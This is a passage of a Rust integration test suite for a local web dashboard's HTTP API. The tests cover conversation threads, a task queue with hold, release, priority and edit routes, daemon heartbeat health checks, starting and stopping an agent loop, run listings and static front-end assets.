5507 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5508 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5509 }
5510
5511 #[tokio::test]
5512 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5513 let f = Fixture::start().await;
5514 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5515
5516 let res = f
5517 .post(
5518 &format!("/api/talks/{id}/say"),
5519 Some(&format!(
5520 r#"{{"text":"hi","attachments":["{}"]}}"#,
5521 "a".repeat(32)
5522 )),
5523 )
5524 .await;
5525 assert!((400..500).contains(&res.status), "{}", res.body);
5526 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5527
5528 let on_disk = f.talks().get(&id).expect("get");
5529 assert!(
5530 on_disk.turns.is_empty(),
5531 "a rejected attachment id must not partially record the turn: {:?}",
5532 on_disk.turns
5533 );
5534 }
5535
5536 #[tokio::test]
5537 async fn talk_close_makes_the_talk_refuse_further_turns() {
5538 let f = Fixture::start().await;
5539 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5540
5541 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5542 assert_eq!(closed.status, 200, "{}", closed.body);
5543 assert_eq!(closed.json()["status"], "closed");
5544
5545 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5547 assert_eq!(closed_again.status, 200);
5548 assert_eq!(closed_again.json()["status"], "closed");
5549
5550 let said = f
5551 .post(
5552 &format!("/api/talks/{id}/say"),
5553 Some(r#"{"text":"too late"}"#),
5554 )
5555 .await;
5556 assert_eq!(said.status, 409, "{}", said.body);
5557 }
5558
5559 #[tokio::test]
5560 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5561 let (_tmp, _repo, f) = talk_fixture().await;
5562 let id = f.post("/api/talks", None).await.json()["id"]
5563 .as_str()
5564 .expect("id")
5565 .to_owned();
5566 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5567 assert_eq!(closed.status, 200, "{}", closed.body);
5568
5569 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5570 assert_eq!(reopened.status, 200, "{}", reopened.body);
5571 assert_eq!(reopened.json()["status"], "open");
5572
5573 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5575 assert_eq!(reopened_again.status, 200);
5576 assert_eq!(reopened_again.json()["status"], "open");
5577
5578 let said = f
5579 .post(
5580 &format!("/api/talks/{id}/say"),
5581 Some(r#"{"text":"still there?"}"#),
5582 )
5583 .await;
5584 assert_eq!(
5585 said.status, 202,
5586 "a reopened talk accepts turns again: {}",
5587 said.body
5588 );
5589 }
5590
5591 #[tokio::test]
5592 async fn talk_reopen_on_an_unknown_id_is_404() {
5593 let f = Fixture::start().await;
5594 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5595 assert_eq!(res.status, 404, "{}", res.body);
5596 }
5597
5598 #[tokio::test]
5599 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5600 let f = Fixture::start().await;
5601 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5602
5603 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5604 assert_eq!(deleted.status, 204, "{}", deleted.body);
5605
5606 let after = f.get(&format!("/api/talks/{id}")).await;
5607 assert_eq!(after.status, 404, "{}", after.body);
5608
5609 let listed = f.get("/api/talks").await.json();
5610 assert!(
5611 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5612 "a deleted talk must not linger in the list: {listed}"
5613 );
5614 }
5615
5616 #[tokio::test]
5617 async fn talk_delete_on_an_unknown_id_is_404() {
5618 let f = Fixture::start().await;
5619 let res = f.delete("/api/talks/nonexistent-id").await;
5620 assert_eq!(res.status, 404, "{}", res.body);
5621 }
5622
5623 #[tokio::test]
5624 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5625 let f = Fixture::start().await;
5626 let queue = f.queue();
5627 let mut task = Task::new(
5628 "spent".to_owned(),
5629 "Try again".to_owned(),
5630 PathBuf::from("/repo/magi"),
5631 Source::Human,
5632 );
5633 task.start("20260902-140502-bbbb".to_owned());
5634 task.fail("agent gave up", 9);
5635 queue.put(&mut task).expect("file the task");
5636
5637 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5638 assert_eq!(held.status, 200);
5639 assert_eq!(held.json()["status_str"], "held");
5640
5641 let released = f
5642 .post(&format!("/api/queue/{}/release", task.id), None)
5643 .await;
5644 assert_eq!(released.status, 200);
5645 assert_eq!(released.json()["status_str"], "queued");
5646 assert_eq!(
5647 released.json()["attempts"],
5648 0,
5649 "release is a real second chance, not an instant re-hold"
5650 );
5651 assert_eq!(
5652 queue.get(&task.id).expect("reload").status,
5653 TaskStatus::Queued,
5654 "the change is on disk, not only in the reply"
5655 );
5656 assert!(
5657 !f.home
5658 .path()
5659 .join("queue")
5660 .join(format!("{}.lock", task.id))
5661 .exists(),
5662 "the claim the mutation took is released again"
5663 );
5664 }
5665
5666 #[tokio::test]
5667 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5668 let f = Fixture::start().await;
5669 let queue = f.queue();
5670 let mut task = Task::new(
5671 "busy".to_owned(),
5672 "Running right now".to_owned(),
5673 PathBuf::from("/repo/magi"),
5674 Source::Human,
5675 );
5676 queue.put(&mut task).expect("file the task");
5677 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5678
5679 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5680
5681 assert_eq!(res.status, 409);
5682 assert_eq!(
5683 queue.get(&task.id).expect("reload").status,
5684 TaskStatus::Queued,
5685 "the refused hold changed nothing"
5686 );
5687 }
5688
5689 #[tokio::test]
5690 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5691 let f = Fixture::start().await;
5692 let queue = f.queue();
5693 let mut task = Task::new(
5694 "waiting on the migration".to_owned(),
5695 "Do the thing".to_owned(),
5696 PathBuf::from("/repo/magi"),
5697 Source::Human,
5698 );
5699 queue.put(&mut task).expect("file the task");
5700
5701 let held = f
5702 .post(
5703 &format!("/api/queue/{}/hold", task.id),
5704 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5705 )
5706 .await;
5707 assert_eq!(held.status, 200, "{}", held.body);
5708 assert_eq!(held.json()["status_str"], "held");
5709 assert_eq!(
5710 held.json()["hold_reason"],
5711 "waiting for 20260101-000000-aaaa to land"
5712 );
5713
5714 let listed = f.get("/api/queue").await.json();
5715 assert_eq!(
5716 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5717 "the card reads the reason off the same list route"
5718 );
5719
5720 let mut plain = Task::new(
5723 "no reason given".to_owned(),
5724 "Do another thing".to_owned(),
5725 PathBuf::from("/repo/magi"),
5726 Source::Human,
5727 );
5728 queue.put(&mut plain).expect("file the task");
5729 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5730 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5731 assert!(held_plain.json()["hold_reason"].is_null());
5732
5733 let released = f
5734 .post(&format!("/api/queue/{}/release", task.id), None)
5735 .await;
5736 assert_eq!(released.status, 200);
5737 assert!(
5738 released.json()["hold_reason"].is_null(),
5739 "a release must clear the reason so the next hold does not inherit it"
5740 );
5741 }
5742
5743 #[tokio::test]
5744 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5745 let f = Fixture::start().await;
5746 let queue = f.queue();
5747 let mut older = Task::new(
5748 "filed first".to_owned(),
5749 "x".to_owned(),
5750 PathBuf::from("/repo/magi"),
5751 Source::Human,
5752 );
5753 older.id = "20260101-000001-aaaa".to_owned();
5754 let mut newer = Task::new(
5755 "filed second".to_owned(),
5756 "x".to_owned(),
5757 PathBuf::from("/repo/magi"),
5758 Source::Human,
5759 );
5760 newer.id = "20260101-000002-bbbb".to_owned();
5761 queue.put(&mut older).expect("file older");
5762 queue.put(&mut newer).expect("file newer");
5763
5764 let before = f.get("/api/queue").await.json();
5767 assert_eq!(before[0]["id"], newer.id);
5768 assert_eq!(before[1]["id"], older.id);
5769
5770 let raised = f
5774 .post(
5775 &format!("/api/queue/{}/priority", older.id),
5776 Some(r#"{"priority":10}"#),
5777 )
5778 .await;
5779 assert_eq!(raised.status, 200, "{}", raised.body);
5780 assert_eq!(raised.json()["priority"], 10);
5781
5782 let after = f.get("/api/queue").await.json();
5783 let names: Vec<&str> = after
5784 .as_array()
5785 .unwrap()
5786 .iter()
5787 .map(|t| t["id"].as_str().unwrap())
5788 .collect();
5789 assert_eq!(names[0], older.id, "the raised task now sorts first");
5793 }
5794
5795 #[tokio::test]
5796 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5797 let f = Fixture::start().await;
5798 let queue = f.queue();
5799 let mut task = Task::new(
5800 "in flight".to_owned(),
5801 "x".to_owned(),
5802 PathBuf::from("/repo/magi"),
5803 Source::Human,
5804 );
5805 task.start("20260902-140502-bbbb".to_owned());
5806 queue.put(&mut task).expect("file the task");
5807
5808 let res = f
5809 .post(
5810 &format!("/api/queue/{}/priority", task.id),
5811 Some(r#"{"priority":9}"#),
5812 )
5813 .await;
5814 assert_eq!(res.status, 400, "{}", res.body);
5815 assert!(
5816 res.json()["error"]
5817 .as_str()
5818 .is_some_and(|e| e.contains("running")),
5819 "{}",
5820 res.body
5821 );
5822 assert_eq!(
5823 queue.get(&task.id).expect("reload").priority,
5824 0,
5825 "the refused write must not partially apply"
5826 );
5827 }
5828
5829 #[tokio::test]
5830 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5831 let f = Fixture::start().await;
5832 let queue = f.queue();
5833 let mut task = Task::new(
5834 "old title".to_owned(),
5835 "old instruction".to_owned(),
5836 PathBuf::from("/repo/magi"),
5837 Source::Agent {
5838 run: "20260101-000000-beef".to_owned(),
5839 node: "implement".to_owned(),
5840 },
5841 );
5842 task.runs.push("20260101-000000-beef".to_owned());
5843 queue.put(&mut task).expect("file the task");
5844 let created_at = task.created_at;
5845
5846 let edited = f
5847 .post(
5848 &format!("/api/queue/{}/edit", task.id),
5849 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5850 )
5851 .await;
5852 assert_eq!(edited.status, 200, "{}", edited.body);
5853 let body = edited.json();
5854 assert_eq!(body["title"], "new title");
5855 assert_eq!(body["instruction"], "new instruction");
5856 assert_eq!(body["id"], task.id, "editing must not mint a new id");
5857 assert_eq!(body["created_at"], created_at.to_string());
5858 assert_eq!(
5859 body["source"]["kind"], "agent",
5860 "editing a task an agent filed must not turn it human: {body}"
5861 );
5862 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5863
5864 let reloaded = queue.get(&task.id).expect("reload");
5865 assert_eq!(reloaded.title, "new title");
5866 assert_eq!(reloaded.instruction, "new instruction");
5867 }
5868
5869 #[tokio::test]
5870 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5871 let f = Fixture::start().await;
5872 let queue = f.queue();
5873 let mut task = Task::new(
5874 "in flight".to_owned(),
5875 "do not touch".to_owned(),
5876 PathBuf::from("/repo/magi"),
5877 Source::Human,
5878 );
5879 task.start("20260902-140502-bbbb".to_owned());
5880 queue.put(&mut task).expect("file the task");
5881
5882 let res = f
5883 .post(
5884 &format!("/api/queue/{}/edit", task.id),
5885 Some(r#"{"title":"x","instruction":"y"}"#),
5886 )
5887 .await;
5888 assert_eq!(res.status, 400, "{}", res.body);
5889 assert!(
5890 res.json()["error"]
5891 .as_str()
5892 .is_some_and(|e| e.contains("running")),
5893 "{}",
5894 res.body
5895 );
5896 assert_eq!(
5897 queue.get(&task.id).expect("reload").instruction,
5898 "do not touch",
5899 "the refused edit must not change the file"
5900 );
5901 }
5902
5903 #[tokio::test]
5904 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5905 let f = Fixture::start().await;
5906 let queue = f.queue();
5907 let mut task = Task::new(
5908 "busy".to_owned(),
5909 "Running right now".to_owned(),
5910 PathBuf::from("/repo/magi"),
5911 Source::Human,
5912 );
5913 queue.put(&mut task).expect("file the task");
5914 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5915
5916 let priority = f
5917 .post(
5918 &format!("/api/queue/{}/priority", task.id),
5919 Some(r#"{"priority":9}"#),
5920 )
5921 .await;
5922 assert_eq!(priority.status, 409, "{}", priority.body);
5923
5924 let edit = f
5925 .post(
5926 &format!("/api/queue/{}/edit", task.id),
5927 Some(r#"{"title":"x","instruction":"y"}"#),
5928 )
5929 .await;
5930 assert_eq!(edit.status, 409, "{}", edit.body);
5931 }
5932
5933 #[tokio::test]
5934 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5935 let f = Fixture::start().await;
5936 let queue = f.queue();
5937 let mut task = Task::new(
5938 "shipped by hand".to_owned(),
5939 "merged outside the loop".to_owned(),
5940 PathBuf::from("/repo/magi"),
5941 Source::Agent {
5942 run: "20260101-000000-b455".to_owned(),
5943 node: "implement".to_owned(),
5944 },
5945 );
5946 task.runs.push("20260101-000000-b455".to_owned());
5947 task.runs.push("20260101-000000-9af4".to_owned());
5948 queue.put(&mut task).expect("file the task");
5949 let created_at = task.created_at;
5950
5951 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5952 assert_eq!(done.status, 200, "{}", done.body);
5953 assert_eq!(done.json()["status_str"], "done");
5954
5955 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5956 assert_eq!(
5957 reloaded.runs,
5958 ["20260101-000000-b455", "20260101-000000-9af4"]
5959 );
5960 assert_eq!(
5961 reloaded.source,
5962 Source::Agent {
5963 run: "20260101-000000-b455".to_owned(),
5964 node: "implement".to_owned(),
5965 }
5966 );
5967 assert_eq!(reloaded.created_at, created_at);
5968 }
5969
5970 #[tokio::test]
5971 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5972 let f = Fixture::start().await;
5977 let queue = f.queue();
5978 let mut task = Task::new(
5979 "landed while held".to_owned(),
5980 "x".to_owned(),
5981 PathBuf::from("/repo/magi"),
5982 Source::Human,
5983 );
5984 task.hold_manual(Some("waiting on 3ed9".to_owned()));
5985 queue.put(&mut task).expect("file the held task");
5986
5987 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5988 assert_eq!(done.status, 200, "{}", done.body);
5989 assert_eq!(done.json()["status_str"], "done");
5990 assert!(
5991 done.json()["hold_reason"].is_null(),
5992 "a done task cannot still be waiting on something: {}",
5993 done.body
5994 );
5995 }
5996
5997 #[tokio::test]
5998 async fn unknown_ids_are_json_not_found_on_both_stores() {
5999 let f = Fixture::start().await;
6000
6001 let run = f.get("/api/runs/nosuchrun").await;
6002 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6003
6004 assert_eq!(run.status, 404);
6005 assert_eq!(task.status, 404);
6006 assert!(
6007 run.json()["error"]
6008 .as_str()
6009 .is_some_and(|e| e.contains("run")),
6010 "the error names what was not found: {}",
6011 run.body
6012 );
6013 assert!(
6014 task.json()["error"]
6015 .as_str()
6016 .is_some_and(|e| e.contains("task")),
6017 "the error names what was not found: {}",
6018 task.body
6019 );
6020 }
6021
6022 #[tokio::test]
6023 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6024 let f = Fixture::start().await;
6025
6026 let missing = f.get("/api/health").await.json();
6027 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6028
6029 write_daemon(
6030 f.home.path(),
6031 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6032 );
6033 let stale = f.get("/api/health").await.json();
6034 assert_eq!(
6035 stale["daemon"]["running"], false,
6036 "a minute without a heartbeat is a dead daemon, not a busy one"
6037 );
6038 assert!(
6039 stale["daemon"]["stale_for_secs"]
6040 .as_i64()
6041 .is_some_and(|s| s >= 55),
6042 "staleness is reported so the UI can say how long: {stale}"
6043 );
6044
6045 write_daemon(f.home.path(), Timestamp::now());
6046 let fresh = f.get("/api/health").await.json();
6047 assert_eq!(fresh["daemon"]["running"], true);
6048 assert_eq!(fresh["daemon"]["idle"], false);
6049 assert_eq!(fresh["daemon"]["pid"], 4242);
6050 assert_eq!(fresh["daemon"]["completed"], 7);
6051 assert_eq!(
6052 fresh["daemon"]["current"][0]["task"],
6053 "20260902-140501-aaaa"
6054 );
6055 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6056 }
6057
6058 #[tokio::test]
6059 async fn the_loop_is_not_running_until_something_starts_it() {
6060 let f = Fixture::start().await;
6061
6062 let view = f.get("/api/loop").await.json();
6063 assert_eq!(view["running"], false);
6064 assert_eq!(
6065 view["owned"], false,
6066 "nobody owns a loop that does not exist: {view}"
6067 );
6068 assert_eq!(view["stopping"], false);
6069 assert_eq!(view["last_error"], Value::Null);
6070 assert_eq!(view["daemon"]["running"], false);
6071 assert_eq!(
6072 view["repo"], "/repo/magi",
6073 "the repository a start would use, named before it is started"
6074 );
6075 }
6076
6077 #[tokio::test]
6078 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6079 let f = Fixture::start().await;
6080
6081 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6082 assert_eq!(res.status, 200, "{}", res.body);
6083 let view = res.json();
6084 assert_eq!(view["running"], true);
6085 assert_eq!(
6086 view["owned"], true,
6087 "the loop the UI started is the UI's own to stop: {view}"
6088 );
6089 assert_eq!(
6090 view["merge"],
6091 Value::Null,
6092 "no override was given, so each repository's own config decides"
6093 );
6094
6095 let health = f.get("/api/health").await.json();
6099 assert_eq!(health["loop"]["running"], true, "{health}");
6100 assert_eq!(health["loop"]["owned"], true, "{health}");
6101
6102 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6103 }
6104
6105 #[tokio::test]
6106 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6107 let f = Fixture::start().await;
6108 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6109 assert_eq!(first.status, 200, "{}", first.body);
6110
6111 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6112 assert_eq!(
6113 again.status, 409,
6114 "two loops on one queue race for the same claims: {}",
6115 again.body
6116 );
6117 assert!(
6118 again.json()["error"]
6119 .as_str()
6120 .is_some_and(|e| e.contains("already running the loop")),
6121 "the refusal has to say why: {}",
6122 again.body
6123 );
6124 assert_eq!(
6125 f.get("/api/loop").await.json()["running"],
6126 true,
6127 "and the loop that was already running is untouched by it"
6128 );
6129
6130 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6131 }
6132
6133 #[tokio::test]
6134 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6135 let f = Fixture::start().await;
6136 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6137
6138 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6139 assert_eq!(
6140 res.status, 200,
6141 "the answer must not wait for the loop: a run in flight is tens of \
6142 minutes and the operator is holding a phone: {}",
6143 res.body
6144 );
6145
6146 let view = settled(&f, |v| v["running"] == false).await;
6147 assert_eq!(view["owned"], false);
6148 assert_eq!(
6149 view["stopping"], false,
6150 "a loop that has stopped is not still stopping: {view}"
6151 );
6152 assert_eq!(
6153 view["last_error"],
6154 Value::Null,
6155 "a loop that was asked to stop did not fail: {view}"
6156 );
6157
6158 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6161 assert_eq!(twice.status, 200, "{}", twice.body);
6162 }
6163
6164 #[tokio::test]
6165 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6166 let f = Fixture::start().await;
6167 write_daemon(f.home.path(), Timestamp::now());
6170
6171 let view = f.get("/api/loop").await.json();
6172 assert_eq!(view["running"], false, "not in this process: {view}");
6173 assert_eq!(view["owned"], false, "and not this process's to control");
6174 assert_eq!(
6175 view["daemon"]["running"], true,
6176 "but a loop is alive somewhere, which is what the UI must say"
6177 );
6178 assert_eq!(view["daemon"]["pid"], 4242);
6179
6180 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6181 let res = f.post("/api/loop", Some(body)).await;
6182 assert_eq!(
6183 res.status, 409,
6184 "neither button may pretend to work on someone else's loop: {}",
6185 res.body
6186 );
6187 assert!(
6188 res.json()["error"]
6189 .as_str()
6190 .is_some_and(|e| e.contains("4242")),
6191 "the refusal has to name the process the operator must go to: {}",
6192 res.body
6193 );
6194 }
6195 assert_eq!(
6196 f.get("/api/loop").await.json()["running"],
6197 false,
6198 "and the refusal started nothing"
6199 );
6200 }
6201
6202 #[tokio::test]
6203 async fn a_stale_status_file_is_not_a_foreign_owner() {
6204 let f = Fixture::start().await;
6205 write_daemon(
6206 f.home.path(),
6207 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6208 );
6209
6210 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6211 assert_eq!(
6212 res.status, 200,
6213 "a daemon killed a minute ago must not lock the loop out of its \
6214 own home for good: {}",
6215 res.body
6216 );
6217 assert_eq!(res.json()["running"], true);
6218
6219 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6220 }
6221
6222 #[tokio::test]
6223 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6224 let f = Fixture::start().await;
6225 let before = f.get("/api/health").await.json()["loop_rev"]
6226 .as_u64()
6227 .expect("a loop revision");
6228
6229 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6230
6231 let after = f.get("/api/health").await.json()["loop_rev"]
6232 .as_u64()
6233 .expect("a loop revision");
6234 assert!(
6235 after > before,
6236 "the loop is in-process state, so this counter is the only thing \
6237 that tells a second device the first one started it: {before} -> \
6238 {after}"
6239 );
6240
6241 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6242 }
6243
6244 #[tokio::test]
6245 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6246 let f = Fixture::with_loop(launch_broken).await;
6247
6248 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6249 assert_eq!(
6250 res.status, 200,
6251 "starting it is not the failure: {}",
6252 res.body
6253 );
6254
6255 let view = settled(&f, |v| v["last_error"].is_string()).await;
6256 assert_eq!(
6257 view["running"], false,
6258 "a loop that died must not read as running, or the operator has \
6259 nothing to press: {view}"
6260 );
6261 assert_eq!(view["owned"], false);
6262 assert!(
6263 view["last_error"]
6264 .as_str()
6265 .is_some_and(|e| e.contains("read-only file system")),
6266 "the phone is where a loop that died at 3am is visible: {view}"
6267 );
6268
6269 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6272 assert_eq!(again.status, 200, "{}", again.body);
6273 assert_eq!(
6274 again.json()["last_error"],
6275 Value::Null,
6276 "a fresh start does not keep showing why the last one died"
6277 );
6278 }
6279
6280 #[tokio::test]
6292 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6293 let home = TempDir::new().expect("temp home");
6294 let runs = home.path().join("runs");
6295 std::fs::create_dir_all(&runs).expect("runs dir");
6296 let ui = Ui::new(
6297 Queue::at(home.path().join("queue")),
6298 Questions::at(home.path().join("questions")),
6299 Talks::at(home.path().join("talks")),
6300 runs,
6301 home.path().to_path_buf(),
6302 PathBuf::from("/repo/magi"),
6303 )
6304 .with_worktrees_root(home.path().join("wt"))
6305 .with_launch(launch_knocking_on_the_way_out);
6306 let looping = ui.looping();
6307 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6308 .await
6309 .expect("bind loopback");
6310 let addr = listener.local_addr().expect("local addr");
6311 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6312 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6313
6314 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6315 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6316
6317 let bound = std::sync::Mutex::new(None);
6320 hand_over(home.path(), &looping, served, || {
6321 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6322 *bound.lock().expect("bound") = Some(attempt);
6323 Ok(())
6324 })
6325 .await
6326 .expect("hand over");
6327
6328 assert_eq!(
6329 *PARK_HEARD.lock().expect("park heard"),
6330 Some(200),
6331 "the deck must answer while the loop is parking"
6332 );
6333 let attempt = bound
6334 .lock()
6335 .expect("bound")
6336 .take()
6337 .expect("the successor was started");
6338 assert!(
6339 attempt.is_ok(),
6340 "and the address must be free by the time it is: {attempt:?}"
6341 );
6342 }
6343
6344 #[tokio::test]
6345 async fn a_newer_daemon_status_file_still_renders() {
6346 let f = Fixture::start().await;
6347 std::fs::write(
6350 f.home.path().join("daemon.json"),
6351 serde_json::json!({
6352 "schema": 2,
6353 "updated_at": Timestamp::now().to_string(),
6354 "idle": true,
6355 "surprise": { "nested": [1, 2, 3] },
6356 })
6357 .to_string(),
6358 )
6359 .expect("write daemon.json");
6360
6361 let health = f.get("/api/health").await;
6362
6363 assert_eq!(health.status, 200);
6364 assert_eq!(health.json()["daemon"]["running"], true);
6365 }
6366
6367 #[tokio::test]
6368 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6369 let f = Fixture::start().await;
6370 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6371 let broken = f.runs().join("20260902-140502-bad");
6372 std::fs::create_dir_all(&broken).expect("run dir");
6373 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6374
6375 let list = f.get("/api/runs").await;
6376 let detail = f.get("/api/runs/20260902-140502-bad").await;
6377
6378 assert_eq!(list.status, 200);
6379 let listed = list.json();
6380 let ids: Vec<&str> = listed
6381 .as_array()
6382 .expect("an array")
6383 .iter()
6384 .map(|r| r["id"].as_str().expect("an id"))
6385 .collect();
6386 assert_eq!(
6387 ids,
6388 vec!["20260902-140501-good"],
6389 "one unreadable run must not cost the operator the whole history"
6390 );
6391 assert_eq!(detail.status, 500);
6392 assert!(
6393 detail.json()["error"]
6394 .as_str()
6395 .is_some_and(|e| e.contains("run.json")),
6396 "the failure names the file to look at: {}",
6397 detail.body
6398 );
6399 let health = f.get("/api/health").await;
6403 assert_eq!(health.json()["runs_unreadable"], 1);
6404 }
6405
6406 #[tokio::test]
6407 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6408 let f = Fixture::start().await;
6409 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6410
6411 let summary = f.get("/api/runs").await.json();
6412 let row = &summary[0];
6413 assert_eq!(row["short"], "a1b2");
6414 assert_eq!(row["status"], "ready");
6415 assert_eq!(row["done"], true);
6416 assert_eq!(row["title"], "Add a web UI");
6417 assert_eq!(row["repo_name"], "magi");
6418 assert_eq!(row["judges"], 3);
6419 assert_eq!(row["winner"], Value::Null);
6420 assert_eq!(row["reviews"], 0);
6421
6422 let detail = f.get("/api/runs/a1b2").await;
6425 assert_eq!(detail.status, 200);
6426 assert_eq!(detail.json()["base_branch"], "main");
6427 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6428 }
6429
6430 #[tokio::test]
6435 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6436 let f = Fixture::start().await;
6437 let id = "20260902-140502-bbbb";
6441 let mut state = RunState::new(
6442 PathBuf::from("/repo/magi"),
6443 "main".to_owned(),
6444 "0123456789abcdef".to_owned(),
6445 "Add a web UI".to_owned(),
6446 Config::default(),
6447 );
6448 state.id = id.to_owned();
6449 state.status = RunStatus::Judging;
6450 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6451 let dir = f.runs().join(id);
6452 std::fs::create_dir_all(&dir).expect("run dir");
6453 std::fs::write(
6454 dir.join("run.json"),
6455 serde_json::to_string_pretty(&state).expect("serialize run"),
6456 )
6457 .expect("write run.json");
6458
6459 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6462 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6463 assert_eq!(cold["live"], false, "{cold}");
6464
6465 write_daemon(f.home.path(), Timestamp::now());
6468 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6469 assert_eq!(warm["live"], true, "{warm}");
6470 }
6471
6472 #[tokio::test]
6473 async fn the_run_list_is_newest_first_and_honours_a_limit() {
6474 let f = Fixture::start().await;
6475 for id in [
6476 "20260902-140501-aaaa",
6477 "20260902-140502-bbbb",
6478 "20260902-140503-cccc",
6479 ] {
6480 write_run(&f.runs(), id, RunStatus::Merged);
6481 }
6482
6483 let all = f.get("/api/runs").await.json();
6484 let capped = f.get("/api/runs?limit=2").await.json();
6485
6486 assert_eq!(all[0]["id"], "20260902-140503-cccc");
6487 assert_eq!(all.as_array().map(Vec::len), Some(3));
6488 assert_eq!(capped.as_array().map(Vec::len), Some(2));
6489 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6490 }
6491
6492 #[tokio::test]
6493 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6494 let f = Fixture::start().await;
6495 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6496
6497 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6498
6499 assert_eq!(res.status, 200);
6500 assert!(
6501 res.headers
6502 .contains("content-type: text/plain; charset=utf-8"),
6503 "a browser must render it, not download it: {}",
6504 res.headers
6505 );
6506 assert!(
6510 res.body.contains("20260902-140501-a1b2"),
6511 "the report is about the run that was asked for: {}",
6512 res.body
6513 );
6514 }
6515
6516 #[tokio::test]
6517 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6518 let f = Fixture::start().await;
6519
6520 let html = f.get("/").await;
6521 let css = f.get("/app.css").await;
6522 let js = f.get("/app.js").await;
6523
6524 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6525 assert!(
6526 html.headers
6527 .contains("content-type: text/html; charset=utf-8")
6528 );
6529 assert!(css.headers.contains("content-type: text/css"));
